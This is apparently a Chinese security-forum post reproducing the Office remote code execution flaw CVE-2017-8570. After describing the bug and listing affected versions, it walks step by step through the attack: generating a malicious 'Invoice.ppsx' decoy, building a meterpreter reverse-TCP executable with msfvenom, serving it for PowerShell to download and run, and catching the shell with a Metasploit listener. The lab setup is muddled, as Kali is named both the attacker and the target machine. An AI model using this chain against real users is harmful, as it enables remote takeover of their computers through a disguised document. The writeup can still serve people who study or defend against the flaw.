-
-
[原创]Office远程代码执行漏洞复现与利用(CVE-2017-8570)
-
2019-4-13 23:37
5760
-
[原创]Office远程代码执行漏洞复现与利用(CVE-2017-8570)
1.漏洞描述
CVE-2017-8570漏洞为一个逻辑漏洞,利用方法简单,影响范围广。由于该漏洞和三年前的SandWorm(沙虫)漏洞非常类似,因此我们称之为“沙虫”二代漏洞:Office全家桶
2.分析环境
操作机:windows7 x64
IP:172.16.11.2
目标机:Kali Linux
IP:172.16.12.2
3.漏洞原理
OfficeCVE-2017-85702017年7月,微软在例行的阅读补丁中修复了多个Microsoft Office漏洞,其中的CVE-2017-8570漏洞为一个逻辑漏洞,利用方法简单。网上公布了利用代码影响范围广泛。该漏洞为Microsoft Office的一个远程代码执行漏洞。
其成因是Microsof PowerPoint执行时会初始化“script”Moniker对象,而在PowerPoint播放动画期间会激活该对象,从而执行sct脚本(Windows script Component)文件。可以欺骗用户运行含有该漏洞的PPT文件导致获取和当前登录用户相同的执行权限。
4.影响版本
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2 (32-bit editions)
Microsoft Office 2010 Service Pack 2 (64-bit editions)
Microsoft Office 2013 RT Service Pack 1
Microsoft Office 2013 Service Pack 1 (32-bit editions)
Microsoft Office 2013 Service Pack 1 (64-bit editions)
Microsoft Office 2016 (32-bit edition)
Microsoft Office 2016 (64-bit edition)
5.分析步骤:
1.生成恶意ppsx文件
xshell连接kali主机
在kali下执行如下命令:
cd CVE‐2017‐8570 //进入exploit的目录
python cve‐2017‐8570_toolkit.py ‐M gen ‐w Invoice.ppsx ‐u
http://172.16.12.2/logo.doc //生成ppsx恶意文件
使用ls命令,可以看到已经成功生成了ppsx格式文件。
接下来将生成的恶意ppsx文件,通过调用powershell下载并执行
msfvenom ‐p windows/meterpreter/reverse_tcp LHOST=172.16.12.2
LPORT=4444 ‐f exe > /tmp/shell.exe
其中 -p 参数是 payload的意思,是使用windows的meterpreter的反弹文件-f参数 指
定输出文件后缀为exe文件再用>重定向输出到tmp目录下
接下来输入如下命令:
python cve‐2017‐8570_toolkit.py ‐M exp ‐e
http://172.16.12.2/shell.exe ‐l /tmp/shell.exe
这段命令是通过脚本在80端口监听,等待接收ppsx请求并下载执行我们的反弹文件
接下来进入Metasploit,新建一个Kali`172.16.12.2的连接,设置相关参数,接受返回的Shell
msfconsole
use multi/handler //使用监听模块
set payload windows/meterpreter/reverse_tcp //设置Payload
set LHOST 172.16.12.2 //设置本地接收IP
run
可以看到我们的Metaspliot已经在本地开启监听,到此我们的所有准备都做好,下一步我们模拟用户点击恶意文件
2.目标机器执行恶意ppsx文件
我们使用桌面Xftp软件,用户名、密码是root,123456,使用sftp连接方式,连接上目标机172.16.12.2,将Invoice.ppsx双击打开
执行过程中可以看到代码通过调用powershell在远程下载执行我们的恶意文件,此时已经反弹回了shell
执行命令:
这样就获取了目标机器的权限,可以通过Metasploit去执行命令。
六.总结
Office一直是主流的办公软件,CVE-2017-8570这个漏洞影响office所有发行版本,当用户不经意点击了我们的恶意PPSX文件,那么我们就可以直接获取到他的用户权限,可以看到危害性十足。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课